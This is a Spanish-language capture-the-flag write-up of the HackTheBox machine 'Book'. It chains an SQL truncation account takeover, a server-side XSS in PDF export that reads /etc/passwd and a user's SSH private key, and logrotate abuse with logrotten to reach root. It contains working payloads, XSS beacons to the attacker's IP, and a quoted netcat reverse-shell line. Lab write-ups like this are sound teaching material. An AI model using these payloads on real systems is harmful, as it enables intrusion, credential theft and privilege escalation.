the_open_door
café
ESEN

Book

HackTheBoxMediaLinux10.10.10.176

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#sql-truncation#account-takeover#server-side-xss#dynamic-pdf#local-file-read#ssh#logrotate#logrotten#cron-abuse#privilege-escalation
TL;DR. Book es una caja Linux con una biblioteca web en PHP. El registro limita el correo a 20 caracteres: un SQL truncation permite re-registrar admin@book.htb con contraseña propia y tomar la cuenta de administrador. El panel exporta a PDF interpretando HTML: un XSS del lado servidor en el PDF dinámico lee ficheros locales y nos da la id_rsa de reader para entrar por SSH. Para root, un cron ejecuta logrotate sobre logs que controlamos: el exploit logrotten (abuso de logrotate) pone SUID a /bin/bash.

Reconocimiento

Escaneo inicial

ping -c 1 10.10.10.176

ping a 10.10.10.176 con ttl=63

64 bytes from 10.10.10.176: icmp_seq=1 ttl=63 time=128 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

El barrido UDP de los 100 puertos más comunes va primero y no devuelve nada:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.176 | grep -v 'no-response'

el escaneo UDP termina con la tabla PORT vacía: seis puertos cerrados con port-unreach y ninguno abierto

Completed UDP Scan at 21:10, 1.40s elapsed (100 total ports)
Host is up, received user-set (0.19s latency).
Not shown: 6 closed udp ports (port-unreach)
PORT        STATE       SERVICE     REASON

Nmap done: 1 IP address (1 host up) scanned in 1.47 seconds

El TCP completo sí deja dos puertos:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.176 -oG scan

el escaneo TCP completo descubre los puertos 22 y 80, ambos con ttl 63, y deja 28561 puertos closed (reset)

Discovered open port 22/tcp on 10.10.10.176
Discovered open port 80/tcp on 10.10.10.176
Not shown: 36972 filtered tcp ports (no-response), 28561 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

La mezcla de filtered y closed (reset) es característica del --defeat-rst-ratelimit que aplica nmap a esta velocidad: el host limita los RST y una parte de los puertos cerrados queda sin respuesta.

extractPorts scan

extractPorts devuelve IP Address 10.10.10.176 y Open ports 22,80, copiados al portapapeles

Extracting information ...
IP Address: 10.10.10.176
Open ports: 22,80

Ports copied to clipboard
nmap -p22,80 -sCV 10.10.10.176

el escaneo de versiones identifica OpenSSH 7.6p1 y Apache 2.4.29 sobre Ubuntu, con la cookie PHPSESSID sin el flag httponly y el título LIBRARY

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun

El httponly flag not set sobre la cookie de sesión ya es una anotación: si más adelante hubiera un XSS, esa cookie sería robable desde JavaScript.

SSH y un Apache con una aplicación PHP ("LIBRARY"). Tener SSH abierto importa: si conseguimos una clave privada, tendremos acceso directo.

HTTP - TCP 80: la biblioteca

Empezamos identificando la pila antes de fuzzear nada:

whatweb http://10.10.10.176

whatweb identifica Apache 2.4.29 sobre Ubuntu con PHPSESSID y el título LIBRARY - Read | Learn | Have Fun

http://10.10.10.176 [200 OK] Apache[2.4.29], Cookies[PHPSESSID], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.176], PasswordField[password], Script,
Title[LIBRARY - Read | Learn | Have Fun]

Wappalyzer añade el sistema operativo y poco más, que es justo lo que hay: una aplicación PHP sin framework detectable.

Wappalyzer sobre 10.10.10.176 detecta Apache HTTP Server 2.4.29, PHP, Ubuntu, Font Awesome 5.7.2 y las CDN de Cloudflare y cdnjs, sobre la pantalla de Sign in

Web servers            Apache HTTP Server 2.4.29
Programming languages  PHP
Operating systems      Ubuntu
Font scripts           Font Awesome 5.7.2
CDN                    Cloudflare, cdnjs

El código fuente de la portada tampoco esconde nada: es una plantilla de CodePen con los dos formularios (alta y acceso) en la misma página, y sin un solo comentario aprovechable.

el view-source de index.php muestra los formularios Create Account y Sign in con los campos name, email y password, y el script de CodePen que alterna entre paneles

<form action="" method="POST" name="myForm" onsubmit="return validateForm()">
<h1>Create Account</h1>
<input type="text" placeholder="Name" name="name"/>
<input type="email" placeholder="Email" name="email"/>
<input type="password" placeholder="Password" name="password"/>
<button>Sign Up</button>
</form>

Los tres nombres de campo (name, email, password) y ese validateForm() en el cliente son los que importan: toda la validación de longitud que veremos después vive en el navegador, no en el servidor.

PHP confirmado por la cookie PHPSESSID, así que el barrido de rutas va con esa extensión (descubrimiento de contenido):

dirsearch -u http://10.10.10.176/ --exclude-status=404,403

dirsearch lista /admin/, /db.php, /download.php, /feedback.php, /profile.php, /search.php y /settings.php

[21:43:32] 301 -  312B  - /admin  ->  http://10.10.10.176/admin/
[21:43:33] 200 -    2KB - /admin/
[21:43:34] 200 -    2KB - /admin/index.php
[21:43:50] 302 -    0B  - /books.php  ->  index.php
[21:43:58] 200 -    0B  - /db.php
[21:44:00] 302 -    0B  - /download.php  ->  index.php
[21:44:04] 302 -    0B  - /feedback.php  ->  index.php
[21:44:28] 302 -    0B  - /profile.php  ->  index.php
[21:44:32] 302 -    0B  - /search.php  ->  index.php
[21:44:34] 302 -    0B  - /settings.php  ->  index.php

Casi todo devuelve 302 a index.php, que es la firma de una aplicación que exige sesión: los recursos existen, pero redirigen al login. Dos excepciones marcan el camino: /admin/ responde 200 y es un panel aparte (otro login, esta vez de administrador), y /db.php devuelve 0B, es decir, existe y se ejecuta en servidor sin imprimir nada.

Antes de registrarse se prueba lo evidente. La máquina se llama Book y el dominio que aparece por todas partes es book.htb, así que el administrador previsible es admin@book.htb con una contraseña trivial:

el formulario Sign in relleno con admin@book.htb y una contraseña corta

la respuesta es un diálogo del navegador con el texto Nope!

10.10.10.176 says
Nope!

Un escueto Nope!, sin distinguir entre usuario inexistente y contraseña incorrecta. Se podría intentar fuerza bruta, pero la aplicación permite registrarse, que es infinitamente más barato:

el formulario Create Account relleno con el usuario jaime y el correo jaime@jaime.com

el formulario Sign in relleno con esas mismas credenciales recién creadas

Con la cuenta creada, entramos:

biblioteca tras registrarse, con libros descargables

Dentro hay una biblioteca de libros, un formulario de feedback, "Contact Us", subida de colecciones y un perfil de usuario.

Los tres vectores que no eran

Antes de dar con la vía buena se prueban las tres sospechas evidentes, y merece la pena enseñarlas porque descartar bien es lo que dirige el siguiente paso.

LFI en la descarga. El download.php recibe el fichero por el parámetro file, así que probamos lectura arbitraria, primero directa y luego con recorridos y con ofuscación por si hay un filtro ingenuo:

file=/etc/passwd
file=../../../../etc/passwd
file=....//...://....//....//etc/passwd

la petición a download.php?file=/etc/passwd devuelve una página en blanco, sin contenido del fichero

la petición con el recorrido ../../../../etc/passwd devuelve la misma página en blanco

la petición con la ofuscación ....//....//....//....//etc/passwd tampoco devuelve nada

Las tres devuelven una página vacía. No hay error ni ruta filtrada, así que el parámetro no concatena hacia el sistema de ficheros: la descarga resuelve contra un identificador interno, no contra una ruta. Vía descartada.

SQLi en el buscador. La pestaña Books → Search consulta por nombre, que es un punto clásico de inyección:

'or 1=1-- -

el buscador con la carga 'or 1=1-- - responde Search found 0 results, sin error de base de datos

La respuesta es Search found 0 results, no un error de sintaxis SQL. Que la comilla no rompa nada indica que la consulta va parametrizada o que la entrada se escapa; sin mensaje de error tampoco hay inyección a ciegas cómoda por aquí. Vía aparcada.

XSS en los formularios. Feedback, Contact Us y la subida de Collections mandan texto que presuntamente lee el administrador, así que inyectamos una carga que llame a nuestra máquina y nos ponemos a la escucha:

<img src=1 onerror=fetch('http://10.10.16.4/xss')/>

El primero es el formulario de feedback, con dos campos que van los dos al mismo sitio:

la pestaña Books, submenú Feedback, con los campos Book Title y Feedback rellenos con el payload img src=1 onerror=fetch

tras enviar, un diálogo del navegador anuncia Your feedback sent to Administrator

10.10.10.176 says
Your feedback sent to Administrator.

Ese "sent to Administrator" es lo que hace pensar que el vector es bueno: la aplicación dice explícitamente que un administrador va a leerlo. El segundo punto es Contact Us, que además confirma la dirección del administrador que habíamos supuesto:

la pestaña Contact Us con el campo To fijado en admin@book.htb, el From con nuestro correo y el mensaje con el mismo payload

Contact Admin
  To      : admin@book.htb
  From    : jaime@jaime.com
  Message : <img src=1 onerror=fetch('http://10.10.16.4/xss')>

Y el tercero, la subida de Collections, que acepta título y autor junto al fichero:

la pestaña Collections con el formulario Book Submission: Book Title y Author con el payload, y un fichero seleccionado

Con los tres enviados, nos ponemos a la escucha:

python3 -m http.server 80

el servidor HTTP local sirviendo en el puerto 80 sin recibir ninguna petición

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

El servidor se queda en blanco: ningún administrador abre esos mensajes. Y aquí viene lo interesante, porque la técnica sí era la correcta y el punto de inyección no: más adelante la máquina cae precisamente por un XSS del lado servidor, pero renderizado dentro de un PDF generado por la aplicación. Descartar el vector no era descartar la idea.

El detalle que sí abre la puerta aparece en el perfil.

El límite de caracteres

Queda una función sin tocar: el perfil de usuario, que muestra nombre, correo y rol, y permite cambiar el nombre. Si un administrador revisa perfiles, ese campo es otro candidato a XSS.

la página profile.php con Name (editable), Email y Role User, y el botón Update

Se prueba con la carga más corta posible:

el campo Name relleno con &lt;script&gt;alert(123)&lt;/script&gt; antes de pulsar Update

Y aquí salta lo inesperado. No es que el payload no se ejecute: es que no llega entero. La barra superior muestra el nombre cortado a la mitad de la etiqueta:

tras actualizar, la barra superior muestra "Signed in as &lt;script&gt;al", con el payload truncado

Para medir dónde corta se manda una cadena numérica, que es autoexplicativa:

el campo Name relleno con 1234567891234 antes de pulsar Update

el nombre se muestra truncado a 1234567891 (10 caracteres)

Vuelven exactamente 10 caracteres. Si un campo trunca, otros pueden hacerlo también. Y el registro lo confirma: al enviar el alta sin correo, la validación del cliente avisa del límite:

un diálogo del navegador avisa: Please fill email field. Should not be more than 20 characters

10.10.10.176 says
Please fill email field. Should not be more than 20 characters

Un límite de longitud en el correo durante el registro es justo la condición de un ataque de SQL truncation.

Explotación: SQL truncation (toma de admin)

La teoría

Cuando una aplicación limita la longitud de un campo (el correo) pero la base de datos lo trunca y, al guardar, elimina los espacios finales, podemos re-registrar una cuenta existente. Si enviamos admin@book.htb seguido de espacios y caracteres de relleno hasta superar el límite, la validación de la aplicación lo ve distinto del admin@book.htb ya existente (pasa el control de duplicados), pero la base de datos lo trunca a 20 y recorta los espacios, dejando de nuevo admin@book.htb. El resultado: se sobrescribe la contraseña del administrador.

Confirmar el truncado

Primero validamos el límite registrando un correo de 22 caracteres, jaime@jaime.com1234567, dos por encima del máximo:

el formulario Create Account con el correo jaime@jaime.com1234567

Al intentar acceder con ese correo completo, la aplicación no reconoce la cuenta:

el formulario Sign in con el correo completo jaime@jaime.com1234567

el intento devuelve el error de la aplicación

Pero con el correo recortado a 20, jaime@jaime.com12345, sí entra:

el formulario Sign in con el correo truncado jaime@jaime.com12345

el perfil confirma que la cuenta se guardó como jaime@jaime.com12345, con los dos últimos caracteres eliminados

Profile Information
  Name  : jaime
  Email : jaime@jaime.com12345
  Role  : User

El truncado a 20 está confirmado, y con él la premisa entera del ataque. Ahora lo replicamos contra el administrador.

Sobrescribir la contraseña de admin

El primer intento se topa con el propio navegador, que valida el formato del correo antes de enviarlo y rechaza el espacio:

el formulario de alta con admin@book.htb seguido de espacios y el aviso del navegador: A part following '@' should not contain the symbol ' '

A part following '@' should not contain the symbol ' '.

Esa validación es del cliente, así que basta con saltársela: se intercepta la petición con Burp y se editan los espacios directamente en el cuerpo, donde un + en un cuerpo x-www-form-urlencoded ya significa espacio.

FoxyProxy dirigiendo el tráfico a Burp y, a la derecha, la petición POST /index.php interceptada con el cuerpo name=admin&amp;email=admin%40book.htb+++++++7&amp;password=admin

POST /index.php HTTP/1.1
Host: 10.10.10.176
Content-Type: application/x-www-form-urlencoded

name=admin&email=admin%40book.htb+++++++7&password=admin

El correo son admin@book.htb (14 caracteres) + 7 espacios + un 7 de relleno = 22. Al truncar a 20 se queda en admin@book.htb + 6 espacios, y la base de datos elimina los espacios finales: admin@book.htb.

la petición enviada con la contraseña admin123 y, a la derecha, la respuesta HTTP/1.1 302 Found con Location: index.php

name=admin&email=admin%40book.htb+++++++7&password=admin123

HTTP/1.1 302 Found
Server: Apache/2.4.29 (Ubuntu)
Location: index.php

El 302 es la respuesta de un registro aceptado. La cuenta admin@book.htb queda con nuestra contraseña, y el panel de administración de /admin/ la acepta:

el panel Admin Sign in en /admin/index.php, con admin@book.htb y la contraseña nueva, bajo el lema Authorized People Only

el Library Admin Panel ya dentro, con las pestañas Home, Users, Messages, Feedback y Collections y el aviso Signed in as admin

Library | Admin Panel
  Home  Users  Messages  Feedback  Collections     Signed in as admin
  Administrators can review the book list and can moderate the users.

Cinco pestañas frente a las cuatro de un usuario normal, y una de ellas, Collections, es la que abre el siguiente vector.

Explotación: XSS del lado servidor en PDF

El PDF interpreta HTML

La pestaña Collections del panel de administración ofrece dos exportaciones a PDF, una de usuarios y otra de colecciones. La de usuarios devuelve un documento con la tabla de nombres y correos de todos los registrados:

El panel de administración en la pestaña Collections con el enlace PDF de la fila Users resaltado y, al lado, el PDF descargado mostrando la tabla Users Data con los nombres y correos

Export The Collections
  #             Export
  Users          PDF
  Collections    PDF

Users Data
  Name           Email
  admin          admin@book.htb
  test           a@b.com
  shaunwhort     test@test.com
  peter          hi@hello.com

La exportación de colecciones se comporta igual, con la tabla de libros:

el enlace PDF de la fila Collections descarga un documento con la tabla Collections Data: Title, Author y Link para Corpse Flower, Queen of the Night, Chocolate cosmos y Lady's-Slipper

Collections Data
  Title              Author   Link
  Corpse Flower      -        1
  Queen of the Night -        2
  Chocolate cosmos   -        3
  Lady's-Slipper     -        4

El formato (tablas, bordes, enlaces azules subrayados) sugiere que el PDF se genera interpretando HTML. La forma barata de confirmarlo es registrar un usuario cuyo nombre sea una etiqueta:

el formulario Create Account con el nombre &lt;h1&gt;h&lt;/h1&gt; y el correo jaime@jaime1.com

Y volver a exportar la tabla de usuarios:

el PDF de Users Data muestra ese usuario con el nombre renderizado como una h grande y en negrita, no como texto literal

Users Data
  Name          Email
  admin         admin@book.htb
  test          a@b.com
  ...
  h             jaime@jaime1.com     <- <h1>h</h1> renderizado

La h sale en grande y en negrita: la etiqueta se interpretó. Es un XSS del lado servidor en generación dinámica de PDF, documentado en HackTricks:

la búsqueda de "dynamic pdf" en HackTricks devuelve la entrada Server Side XSS (Dynamic PDF), que explica cómo engañar al bot que genera el PDF para que ejecute JavaScript

XSS (Cross Site Scripting) » Server Side XSS (Dynamic PDF) [Book]
PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing
arbitrary JS code.

La página trae los payloads ya hechos para leer ficheros locales:

la sección Read local file / SSRF de HackTricks con dos payloads: uno con XMLHttpRequest y btoa sobre file:///etc/passwd y otro sin codificar

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>

Leer ficheros locales

Los payloads de lectura local son largos y no caben en el nombre (límite de 10), pero la subida de libros incluye metadatos en el PDF exportado: ese es el punto de inyección, y sin límite de longitud. Subimos un libro cuyo título y autor llevan un XMLHttpRequest que lee /etc/passwd, con un .pdf real como fichero para no toparnos con validaciones de formato:

el formulario Book Submission con el payload script XMLHttpRequest en Book Title y en Author, y el fichero 2.pdf seleccionado

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");
x.send();
</script>

el PDF exportado muestra /etc/passwd en Base64

Funciona, pero a medias: el contenido está ahí y en Base64, aunque el PDF lo recorta y cuesta leerlo. El btoa era una precaución del payload de ejemplo, así que se quita para ver si el texto plano se maqueta mejor:

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>

el mismo formulario de subida, ahora con el payload sin btoa en Book Title y el autor puesto a test

el PDF exportado muestra ahora /etc/passwd en texto plano y legible, con root:x:0:0 arriba y reader:x:1000:1000:reader:/home/reader:/bin/bash resaltado abajo

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
reader:x:1000:1000:reader:/home/reader:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

Sin el btoa se lee perfectamente. Y ahí está el nombre que hacía falta: existe un usuario reader con /bin/bash, y el SSH está abierto, así que el siguiente objetivo es su clave privada. Ajustamos la ruta y envolvemos la salida en <pre> para preservar el formato de la id_rsa:

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write("<pre>" + this.responseText + "</pre>")};
x.open("GET","file:///home/reader/.ssh/id_rsa");
x.send();
</script>

el PDF exportado muestra la clave privada id_rsa de reader

Obtenemos la id_rsa de reader.

Acceso como reader

chmod 600 id_rsa
ssh -i id_rsa reader@10.10.10.176

sesión SSH establecida como reader

Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)
Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3
reader@book:~$

Sesión por SSH como reader. El flag de usuario:

id, sudo -l y user.txt de reader

reader@book:~$ cat user.txt
01c73ad0de50cbaa7ed382b785bceda0

Escalada de privilegios

Abuso de logrotate (logrotten)

Lo primero es mirar el home, y ahí hay una carpeta que no pinta nada en el de un usuario normal:

ls
cd backups/
ls
cat access.log
cat access.log.1
ls -l

el home de reader contiene backups y user.txt; dentro de backups hay access.log vacío y access.log.1 con una única línea de log de 2019

reader@book:~$ ls
backups  user.txt

reader@book:~/backups$ ls
access.log  access.log.1

reader@book:~/backups$ cat access.log.1
192.168.0.104 - - [29/Jun/2019:14:39:55 +0000] "GET /robbie03 HTTP/1.1" 404 446 "-" "curl"

reader@book:~/backups$ ls -l
-rw-r--r-- 1 reader reader  0 Jan 29  2020 access.log
-rw-r--r-- 1 reader reader 91 Jan 29  2020 access.log.1

Dos ficheros con pinta de logs de Apache, uno vacío y otro con una sola línea, y los dos propiedad de reader y escribibles. El .1 es el sufijo que pone logrotate al rotar, así que la pregunta es si algún proceso los está tocando. Para verlo, pspy (repo), que lista procesos sin necesitar privilegios:

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 &>/dev/null
python3 -m http.server 80
wget http://10.10.16.4/pspy64
chmod +x pspy64
./pspy64

el wget baja los 3 MB de pspy64 al /tmp de la víctima mientras el http.server del atacante registra el GET /pspy64 con un 200

--2025-12-15 19:59:41--  http://10.10.16.4/pspy64
Length: 3104768 (3.0M) [application/octet-stream]
2025-12-15 19:59:47 (601 KB/s) - 'pspy64' saved [3104768/3104768]

10.10.10.176 - - [15/Dec/2025 20:00:07] "GET /pspy64 HTTP/1.1" 200 -

pspy mostrando logrotate ejecutándose con frecuencia

2025/12/15 20:01:02 CMD: UID=0  PID=39365  | /usr/sbin/logrotate -f /root/log.cfg
2025/12/15 20:01:07 CMD: UID=0  PID=39368  | /usr/sbin/logrotate -f /root/log.cfg
2025/12/15 20:01:12 CMD: UID=0  PID=39372  | /usr/sbin/logrotate -f /root/log.cfg
2025/12/15 20:01:22 CMD: UID=0  PID=39378  | /usr/sbin/logrotate -f /root/log.cfg

Aparece logrotate ejecutándose como UID=0 con una frecuencia inusual, cada cinco segundos, y además con una configuración que no es la del sistema (/root/log.cfg). Buscar el nombre en HackTricks devuelve el fallo:

la búsqueda de "logrotate" en HackTricks devuelve la entrada Linux Privilege Escalation, Logrotate exploitation

el artículo explica que logrotate permite escalar privilegios a quien tenga permisos de escritura sobre un log o su directorio, que afecta a la versión 3.18.0 y anteriores, y que se explota con logrotten

Logrotate exploitation

A vulnerability in logrotate lets users with write permissions on a log file or its parent directories
potentially gain escalated privileges. This is because logrotate, often running as root, can be
manipulated to execute arbitrary files, especially in directories like /etc/bash_completion.d/.

Tip: This vulnerability affects logrotate version 3.18.0 and older.
You can exploit this vulnerability with logrotten.

Las versiones 3.18.0 y anteriores tienen una condición de carrera (abuso de logrotate): un usuario con permiso de escritura sobre un log rotado por logrotate (que corre como root) puede, vía enlaces simbólicos, forzar la escritura de ficheros arbitrarios como root. Comprobamos que estos logs cumplen las condiciones:

al borrar access.log.1 y modificar access.log, logrotate lo recrea

Al borrar access.log.1 y escribir en access.log, logrotate recrea el rotado: los logs los gestiona logrotate y tenemos escritura. El exploit se clona en el atacante y se pasa como código fuente, porque compilarlo en la propia víctima evita cualquier problema de compatibilidad de binarios:

git clone https://github.com/whotwagner/logrotten
python3 -m http.server 80
wget http://10.10.16.4/logrotten.c
gcc -o logrotten logrotten.c
chmod +x logrotten

el git clone del repositorio logrotten en el atacante, el http.server sirviendo el directorio y el wget + gcc + chmod en el /tmp de la víctima

Cloning into 'logrotten'...
Receiving objects: 100% (107/107), 438.97 KiB | 1.88 MiB/s, done.

reader@book:/tmp$ wget http://10.10.16.4/logrotten.c
Length: 7508 (7.3K) [text/x-csrc]
2025-12-15 20:17:42 (64.6 KB/s) - 'logrotten.c' saved [7508/7508]

reader@book:/tmp$ gcc -o logrotten logrotten.c
reader@book:/tmp$ chmod +x logrotten

El propio repositorio documenta cómo usarlo, y de paso confirma la versión afectada:

el README de logrotten lista logrotate 3.18.0 como afectado, el comando de compilación, el payload de ejemplo con un netcat y las dos formas de ejecutarlo según la opción create o compress

logrotate 3.18.0

Compile
  gcc -o logrotten logrotten.c

Prepare payload
  echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile

Run exploit
  If "create"-option is set in logrotate.cfg:
    ./logrotten -p ./payloadfile /tmp/log/pwnme.log

En vez del payload por defecto (un netcat de vuelta) usamos uno que no depende de la red y que deja la escalada disponible cuando queramos: poner SUID a /bin/bash.

echo 'chmod u+s /bin/bash' > payload
./logrotten -p ./payload /home/reader/backups/access.log
echo a > /home/reader/backups/access.log

logrotten ejecutado y /bin/bash con bit SUID

reader@book:/tmp$ ./logrotten -p ./payload /home/reader/backups/access.log
Waiting for rotating /home/reader/backups/access.log ...
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload ...
Done!
reader@book:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash

El paso que el README omite: tras lanzar el exploit hay que modificar el log para disparar la rotación; si no, logrotate no actúa. Hecho esto, /bin/bash queda SUID. Una bash -p mantiene los privilegios efectivos de root:

bash -p

bash -p como root y root.txt

bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
1a420d3c4a75ecbf14c043f99f9b94cc

Cadena de ataque

HTTP/Apache → biblioteca PHP (registro de cuentas)
   │ campos truncados (nombre 10, correo 20)
   ▼
SQL truncation → re-registro de admin@book.htb → toma de admin
   │ panel admin: export a PDF
   ▼
PDF dinámico interpreta HTML → XSS del lado servidor (file://)
   │ leer /home/reader/.ssh/id_rsa
   ▼
SSH como reader → user.txt
   │ pspy: cron ejecuta logrotate sobre ~/backups
   ▼
logrotten (race condition, payload chmod u+s /bin/bash) → bash -p → root

Lecciones aprendidas

  • Los límites de longitud silenciosos son peligrosos. El truncado del correo a 20 caracteres permitió re-registrar al administrador (SQL truncation). Validar la longitud y la unicidad en la misma capa (y rechazar, no recortar) cierra el vector.
  • Generar PDF desde HTML es ejecutar HTML. Si el motor interpreta <script> y permite file://, hay lectura de ficheros locales del lado servidor. Sanear la entrada, deshabilitar JavaScript y los esquemas locales en el conversor.
  • Un punto de entrada corto no bloquea un payload largo. El nombre limitaba a 10 caracteres, pero la subida de libros admitía metadatos largos: siempre hay que buscar el campo menos restringido.
  • Reutilizar la id_rsa + SSH = acceso estable. Leer una clave privada por un fallo web se convierte en sesión interactiva si el SSH está expuesto. Las claves no deben quedar legibles por el servicio web.
  • Cualquier binario que corra como root por cron es un objetivo. pspy reveló logrotate; un logrotate antiguo con logs escribibles da root. Mantener logrotate actualizado y los directorios de logs fuera del alcance del usuario.
Cheatsheet de comandos 17 comandos

Repaso rápido